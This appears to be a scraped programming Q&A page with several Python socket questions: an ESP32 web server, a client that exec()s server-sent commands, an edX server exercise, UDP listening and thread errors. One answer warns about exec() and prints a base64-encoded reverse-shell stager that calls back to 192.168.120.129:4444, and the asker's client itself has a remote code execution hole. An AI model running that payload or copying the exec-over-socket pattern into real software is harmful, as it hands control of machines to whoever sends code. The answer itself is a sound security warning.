Set esp32 access point web server using Micropython - python

I am trying to run a mini web server on my ESP32 feather huzzah32, but I hit an error every time I try to open the console. I tried several times, updated everything, erased the flash also few time to start over and the same.
The line 37 seems to have a problem I cannot figure out.
When I am done with compiling and upload the code, I see this error:
(IOError #[0047:0013:0000:0048:0000:0000:0000:0000]
oops, something wrong while linkin:
(IOError at line 37 of main raised at line 97 of wireless.wifi.link
Here is my code.
import streams
import socket
from wireless import wifi
from espressif.esp32net import esp32wifi as wifi_driver
streams.serial()
wifi_driver.auto_init()
wifi.link("my-ssid",wifi.WIFI_WPA2,"my-password")
except Exception as e:
print("ooops, something wrong while linking :(", e)
while True:
sleep(1000)
print("Linked!")
info = wifi.link_info()
print("My IP is:",info[0])
sock = socket.socket()
sock.bind(80)
sock.listen()
while True:
try:
client = streams.SocketStream(clientsock)
line = client.readline()
while line!="\n" and line!="\r\n":
line = client.readline()
print("HTTP request received!")
print("HTTP/1.1 200 OK\r",stream=client)
print("Content-Type: text/html\r",stream=client)
print("Connection: close\r\n\r",stream=client)
print("<html><body>Hello Zerynth!",random(0,100),"</body></html>",stream=client)
client.close()
except Exception as e:
print("ooops, something wrong:",e)
I am using Zerynth.
Any ideas?

I found the issue. It was a bit silly but often errors are indeed silly. Istead of using routers SSID, I tried with the name of the WIFI network and it worked just fine. There is the code, line 37.
wifi.link("NAME_OF_THE_NETWORK",wifi.WIFI_WPA2,"NETWORK_PASSWORD")

Related

python sockets not connecting on two different machines

I recently learnt socket library in python. I'm coding a game's multiplayer server but before coding the whole multiplayer server I decided to code a small server just for seeing how a server works in python. When I coded the server it was awkward that my code was working fine when I ran the client and server on my own windows 10 computer , it connected and did it's work(it's work is two get the IP from hostname, but the client will send hostname and the code for getting IP is executed in the server and sent back to the client) but when I shared the client file with my friend then the client and server did not connect, there was no error message or something else, firewall is not blocking any connections, so why aren't they connecting? Here's the code in the server file(The print statements are just for making a loading bar effect):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
And the code in the client:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(ignore the commented code, I just kept it so I can copy it in other files when needed)
ADDITIONAL INFO(which I missed before): In the client.py file, you'll see the last few lines are a try and except OSError block. I added this block because I don't know why but when I run the client, I get this error:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
When I hide this error using the try and except blocks, there's no difference, the client works fine without showing any problems. Does anyone know why is this happening?
An operation was attempted on something that is not a socket usually means that you're attempting to do operations on a closed socket. I haven't run your code, but what I believe is happening is you have your server sending a single command to the client, then instructing the client to close. The client however attempts to accept infinite messages from the server; even after the client's socket has been closed.
Either have the client only accept a single message, or stop having the server tell the client to close itself.
I'd change the client code to something like this:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
And now the client can press ctrl+c to close itself when it wants to exit.
Also, do not ever use exec like you are; especially without checking what you're about to execute. If the server was ever compromised, or the server owner became malicious, or if you swapped it and had the client send commands to the server, you're opening yourself up to having the machine running exec to become compromised. If the sending end of the socket sent code like this for example:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
This would cause the exec'ing computer to start up a reverse TCP shell, and give control of their computer to the other machine! The other end would then be able to do anything they want on your computer (or, at least whatever they have the access rights to do).
You should never really ever use eval or exec unless it's used in a place where user's code will never enter it. Feeding user input directly into exec is extraordinarily dangerous and should be avoided at all costs.

How to get a file or a response from the server I just made

I am trying to learn Django through the course offered by MichiganX on edX. My problem is that the lesson skipped some details, and without them I cannot get the code to work.
Code looks like this:
from socket import *
def createServer():
serversocket = socket(AF_INET, SOCK_STREAM)
try:
serversocket.bind(('localhost', 9000))
serversocket.listen(5)
while 1:
(clientsocket, address) = serversocket.accept()
rd = clientsocket.recv(5000).decode()
pieces = rd.split('\n')
if len(pieces) > 0:
print(pieces[0])
data = "HTTP/1.1 200 OK\r\n"
data += "Content-Type: text/html; charset=UTF-8\r\n"
data += "\r\n"
data += "<html><body>Hello World</body></html>\r\n\r\n"
clientsocket.sendall(data.encode())
clientsocket.shutdown(SHUT_WR)
except KeyboardInterrupt:
print("\nShutting down...\n");
except Exception as exc:
print("Error:\n");
print(exc)
serversocket.close()
print('Access http://localhost:9000')
createServer()
We were also told to build a simple web browser that would connect us to the server we build and it should return "Hello World!", code for it looks like this:
import socket
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mysock.connect(('127.0.0.1', 9000))
cmd = 'GET http://127.0.0.1/romeo.txt HTTP/1.0\r\n\r\n'.encode()
mysock.send(cmd)
while True:
data = mysock.recv(512)
if len(data) < 1:
break
print(data.decode(), end = '')
mysock.close()
First problem is that nowhere in the course there's a mention of romeo.txt, it just popped out of nowhere. They told us to just run the code, but it does nothing. I googled how to launch server so in my command windom I launched it from the directory my server file is located but whenever I try to connect with above web browser (even if I delete "romeo.txt") from code I get error 404.
I know I'm missing something, I know that just launching server from the directory my files are located are not enough, lesson doesn'n explain how to do it but in order to progress in the next lesson I need to do it. Can anyone help me? Sorry if the question is stupid but I'm stuck for two hours already and I have no idea what else can I do.
These two programs are creating sockets.
The first program acts as the server and the second program acts as the client. The first program is waiting for someone to connect to it as in this line serversocket.accept(), while the second program tries to connect to the server as in this line mysock.connect(('127.0.0.1', 9000)).
Your problem is you are not running the server while running the client. The solution is first start the server, keep it running then start the client.
It should work like so, in one cmd / terminal:
python server.py
In other cmd / terminal:
python client.py
Replace server.py and client.py with original file names.

Python Socket Programming: Application freezes when connecting to a server

I am new to socket coding in Python, and I wrote this simple function to connect to a server. It runs in a tkinter window. I have an Entry widget, and it is where you input the IP address of the server to connect to. However, when you click the button to connect, the application hangs and freezes. Here is the code below.
def Test(self):
socket.setdefaulttimeout(5)
lengthInfo = self.lengthEntry.get()
if self.portEntry.get() != '':
portInfo = int(self.portEntry.get())
serverInfo = self.serverEntry.get()
conn = socket.socket()
if not self.portEntry.get():
portInfo = 80
try:
conn = socket.socket()
name = socket.gethostbyname(serverInfo)
conn.connect((name,portInfo))
ans = conn.recv(2048)
self.outputWindow.insert(END, "Connection successful: \n \
port:{}, server:{} ('{}'), '{}' \n".format(portInfo, name, serverInfo, \
ans))
return
except Exception as e:
self.outputWindow.insert(END, str(e) + "\n")
I originally thought it was because there was now timeout, but as you can see, I added a 5 second timeout in the very first line of the code. I assumed it was because the application was having some sort of trouble connecting, but I checked Windows task manager, and under the network section there was no activity. I also ran the program in Ubuntu 14.04 but got the same results.
Any solutions?
The socket waits for 2,048 bytes from the server (conn.recv(2048)) and I guess they never arrive.

PYTHON - UDP listening without knowing the server

using python2.X (for Linux (++) and Windows (+))
I'm trying to create a python client, to listen to an adress and a port.
The messages are sent by an app on a specific adress and a specific port, but I don't know how it is written. I'm just sure it is functionnal and it uses UDP protocole.
So, I've written this code to receive the messages :
import socket
#---socket creation
connexion = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#---Bind
try:
connexion.bind(('', 10015))
except socket.error:
print "connexion failed"
connexion.close()
sys.exit()
#---testing
while 1:
data, addr = connexion.recvfrom(1024)
print "messages : ", data
At this point, there is no error running it, but the code stops at this line :
data, addr = connexion.recvfrom(1024)
and nothing happens... I think I'm not connected and can't receive messages but I don't know why.
I tried to change the adresse by : '192.168.X.X', but it's the same.
If anyone could help me, that would be great. I'm not very comfortable why python...
PS : sorry for my english.
I found my problem. I changed the IP adress (in the documentation, it was 192.168. 00 8. 0 15 ; I tried whithout the zeros like a normal adress (192.168.8.15) and I received my messages
I changed the structure of my code too : (don't know if it has impact) I put my "try: [...] except:[...]" on the line
data, addr = connexion.recvfrom(1024)
instead of the line :
connexion.bind(('', 10015))
Thanks for helpping ;)
Your code is all well and fine. You can verify that it works using the following Python snippet:
import socket
connexion = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
connexion.sendto("sending data via udp", ("localhost", 10015))
If a message send with this snippet is not displayed, check your firewall. To investigate whether (or what) your other application is actually producing try using tcpdump or wireshark.

Python Threading Unhandled Exception

Questions
What is the reason for the exception?
Did the client cause any errors?
If at all possible, please explain other errors.
Background
I am creating a Python GUI socket Server. When a client connects to my server, the GUI window will open (I am still working on this). But, when a client does connect, I get an error:
Unhandled exception in thread started by <function clientthread at 0x10246c230>
Since the actual script is rather long, I have provided a pastebin link.
Here is the thread code. s is the name of my socket object.
def clientthread(s):
#Sending message to connected client
#This only takes strings (words
s.send("Welcome to the server. Type something and hit enter\n")
#loop so that function does not terminate and the thread does not end
while True:
#Receiving from client
data = s.recv(1024)
if not data:
break
s.sendall(data)
print data
s.close()
Traceback
Thanks for the suggestion Morten. Here is the traceback.
Socket Created
Socket Bind Complete
Socket now listening
Connected
Traceback (most recent call last):
File "/Users/BigKids/Desktop/Coding/Python 2/Sockets/Function/Server GUI Alpha Function.py", line 80, in clientthread
s.send("Welcome to the server. Type something and hit enter\n")
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 170, in _dummy
raise error(EBADF, 'Bad file descriptor')
error: [Errno 9] Bad file descriptor
Personally, I believe that many errors are due to the GUI.
Thanks!
For one, you could catch the exception, print it and see what it is :)
Do this, for instance by surrounding it all with a try/except clause and printing whatever exception occurs.
def clientthread(s):
try:
#Sending message to connected client
#This only takes strings (words
s.send("Welcome to the server. Type something and hit enter\n")
#loop so that function does not terminate and the thread does not end
while True:
#Receiving from client
data = s.recv(1024)
if not data:
break
s.sendall(data)
print data
s.close()
except Exception:
import traceback
print traceback.format_exc()
I'm guessing the reason for this is client disconnect. This will cause an exception and you should handle it appropriately. If a client can disconnect in many ways. By telling you, by timing out, by dropping the connection while you're trying to send something etc.
All these scenarios are plausible exception cases, and you should test for them and handle them. Hopefully this will help you move on, if not, please comment :)

Categories